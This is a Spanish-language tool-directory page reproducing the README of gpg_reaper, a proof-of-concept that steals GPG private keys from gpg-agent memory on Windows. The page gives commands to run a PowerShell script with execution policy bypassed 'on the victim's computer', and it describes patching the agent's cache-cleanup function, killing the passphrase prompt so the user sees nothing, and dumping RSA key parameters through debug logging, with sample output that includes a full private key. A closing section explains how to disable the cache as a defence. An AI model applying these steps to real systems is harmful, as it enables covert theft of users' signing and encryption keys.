Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
gpg_reaper — GPG Reaper - Obtener/Robar/Restaurar Claves Privadas GPG desde la caché/memoria de gpg-agent | Kitploit
Herramientas/GitHubGitHub/kacperszurek/gpg_reaper
Forensia de MemoriaExplotaciónPost-ExplotaciónPruebas de Penetración
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - Obtener/Robar/Restaurar Claves Privadas GPG desde la caché/memoria de gpg-agent

Ver Repositorio
9611hace 8 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GPG Reaper

TL;DR: Obtener/Robar/Restaurar Claves Privadas GPG de la caché/memoria de gpg-agent

GPG Reaper logo

Este POC demuestra un método para obtener claves privadas GPG de la memoria de gpg-agent en Windows.

Normalmente esto solo debería ser posible dentro de un período de 10 minutos (valor de --default-cache-ttl).

Desafortunadamente, la función housekeeping() (que es responsable de la limpieza de la caché) se ejecuta solo si estás usando GPG (no hay un temporizador allí).

Esto significa que en un caso de uso normal de GPG como: firmas un archivo, luego cierras la GUI y haces otra tarea, tu contraseña aún está en la memoria de gpg-agent (incluso si el ttl expiró).

Un atacante que tenga acceso a tu sesión actual puede usar esto para robar la clave privada sin conocer tu frase de contraseña.

AVISO: GPG cambiará el mecanismo de caché en la versión 2.2.6. Consulta el commit y el issue.

Gpg Reaper implementation

Tabla de contenidos

  • Instalación
  • Prueba
  • Introducción
  • Uso
  • Post-explotación en máquina con GPG
  • Bypass de la restricción de exportación de clave privada
  • Conclusión
  • Implementación
  • Versiones soportadas
  • FAQ
  • Atribución

Instalación

root@kitploit:~
pip install PGPy

Si obtienes:

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

entonces:

root@kitploit:~
pip install six==1.10.0

Prueba

  1. Instala Gpg4Win 3.0.3

  2. Abre la línea de comandos e inicia el agente con un tiempo de caché de 2 segundos:

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. Ejecuta Kleopatra y genera un nuevo par de claves

Generate GPG key

  1. Firma un archivo de prueba de ejemplo

Sign test file

  1. Pinentry aparecerá y te pedirá la frase de contraseña

Pinentry

  1. Repite los pasos 4-5. Cada vez que pinentry aparece porque nuestra caché de 2 segundos expiró

  2. Ejecuta GPG reaper

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Verás algo como:

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Como puedes ver, volcamos la clave. Esto es posible porque anulamos (nopped) la función de housekeeping.

  1. Restaura la clave privada:
root@kitploit:~
python gpg_reaper.py .\testme.txt

La clave privada se vuelca al archivo:

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Introducción

GPG-Agent es un demonio para gestionar claves privadas de forma independiente de cualquier protocolo.

La interfaz GUI se comunica con el agente usando el Protocolo Assuan.

Por defecto, el agente almacena en caché tus credenciales.

La opción --default-cache-ttl n establece el tiempo que una entrada de caché es válida en n segundos.

El valor por defecto es 600 segundos. Cada vez que se accede a una entrada de caché, su temporizador se reinicia.

En Windows, el proceso de firma se ve así:

Sign Process

La parte crucial aquí es la función housekeeping() que es responsable de eliminar las credenciales expiradas de la memoria.

Pero hay un problema: esta función se ejecuta solo en dos lugares (dentro de agent_put_cache y agent_get_cache).

Esto significa que las credenciales en caché NO se eliminan de la memoria hasta que se ejecuten algunos comandos de gpg-agent que usen agent_put_cache, agent_get_cache o agent_flush_cache.

Uso

En el ordenador de la víctima:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Transfiere out.txt a tu máquina y restaura las claves privadas:

root@kitploit:~
gpg_reaper.py out.txt

Las claves privadas se volcarán en archivos separados.

Si GPG está instalado fuera de los directorios predeterminados:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Si no quieres mensajes de depuración:

root@kitploit:~
Gpg-Reaper -Verbose $false

Post-explotación en máquina con GPG

Supongamos que estás realizando pruebas de penetración y obtienes un shell en un ordenador con GPG instalado.

Si tienes suerte y el usuario usó GPG recientemente y la caché no ha expirado, puedes:

  1. Firmar un archivo:

Ejecuta c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obtener la lista de claves disponibles en la máquina específica
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Establecer keygrip y hash del mensaje
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Exportar clave privada:

Ejecuta c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obtener la clave de envoltura
root@kitploit:~
KEYWRAP_KEY --export
  • Exportar una clave secreta del almacén de claves. La clave se cifrará usando la clave de envoltura de la sesión actual mediante el algoritmo AESWRAP-128
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Desafortunadamente, esto no funciona como se espera y pide contraseña.

¿Por qué? Porque la función cmd_export_key() ejecuta agent_key_from_file() con la bandera CACHE_MODE_IGNORE, lo que significa que la caché no se usará y se le pedirá la frase de contraseña al usuario cada vez.

Bypass de la restricción de exportación de clave privada

Sabemos que no es posible exportar la clave GPG a través de gpg-agent sin conocer la contraseña.

Pero hay un pequeño truco aquí. El agente tiene algunas opciones disponibles:

  1. --debug-level

Selecciona el nivel de depuración para investigar problemas. level puede ser un valor numérico o una palabra clave:

guru - Todos los mensajes de depuración que puedas obtener.

  1. --log-file file

Agrega toda la salida de registro al archivo. Esto es muy útil para ver lo que realmente hace el agente.

Ejecutemos el agente usando gpg-agent.exe --daemon --debug-level guru --log-file out.txt y firmemos un archivo.

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

Parece que el modo guru imprime los números n, e, d, p, q y u en el archivo de registro. Sabiendo esto, podemos calcular la clave pública y privada.

Internamente, el valor skey es impreso por gcry_log_debugsxp() cuando DBG_CRYPTO está configurado:

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

Conclusión

Si quieres protegerte contra este ataque, debes deshabilitar la caché.

Crea/modifica: %APPDATA%\gnupg\gpg-agent.conf:

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

Implementación

  1. Verificar si las rutas de gpg-connect-agent.exe, gpg-agent.exe y gpg.exe son correctas

  2. Verificar si el sha256 de gpg-agent.exe está soportado

  3. Verificar si el proceso gpg-agent.exe se está ejecutando y abrirlo usando OpenProcess

  4. Start-Job que mata todas las instancias del proceso pinentry. Así, cuando solicitamos una clave que no está en caché, podemos continuar sin interacción del usuario

  5. Leer los bytes originales de housekeeping() y agent_pksign_do() para poder restaurarlos después de la política de ejecución del script

  6. NOP la función housekeeping() para que no elimine la caché expirada de la memoria NOP housekeeping

JMP addr

  1. Ejecutar el siguiente comando usando gpg-connect-agent.exe:
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Verificar si el archivo de registro contiene los números n, e, d, p, q y u. Si es así, devolverlos al usuario.

  2. Repetir los puntos 8-11 para cada clave del punto 7

Ahora, usando la librería PGPy, podemos restaurar la clave privada. Ver: gpg_reaper.py

Versiones soportadas

Gpg-agent está compilado sin ASLR, por lo que uso algunos offsets hardcodeados dentro del script de PowerShell.

Debido a eso, solo se soportan las versiones especificadas:

Versiongpg-agent.exe sha256
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

FAQ

  1. ¿Por qué PowerShell?

Porque este archivo se puede ejecutar sin dependencias externas en la mayoría de los sistemas Windows modernos.

  1. GPG %file% no existe

gpg-connect-agent.exe, gpg-agent.exe o gpg.exe no existen en la ubicación predeterminada.

Puedes intentar especificar una ubicación personalizada usando:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. No se está ejecutando gpg-agent

gpg-agent.exe no se está ejecutando en este sistema, por lo que no podemos restaurar la clave privada.

  1. Versión de gpg-agent desconocida, sha256:

Actualmente este script solo soporta versiones específicas

  1. No hay clave en caché

No hay clave en caché en la memoria, por lo que no podemos restaurar la clave privada.

Atribución

Icono de guadaña hecho por Freepik de www.flaticon.com.

Fuente Solstice Of Suffering de GraveTech.

Descargar herramienta
  • Obtener la lista de todas las claves privadas disponibles usando gpg.exe --list-secret-keys --with-keygrip

  • Obtener la clave pública usando gpg.exe --armor --export %key_fingerprint%

  • Asignar memoria dentro de gpg-agent.exe usando VirtualAllocEx. Almacenar la ruta a nuestro archivo de registro allí y llamar a log_set_file().

  • Reemplazar if (DBG_CRYPTO) con una llamada a nuestra memoria asignada del punto 9 dentro de agent_pksign_do().

  • 3.0.1BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC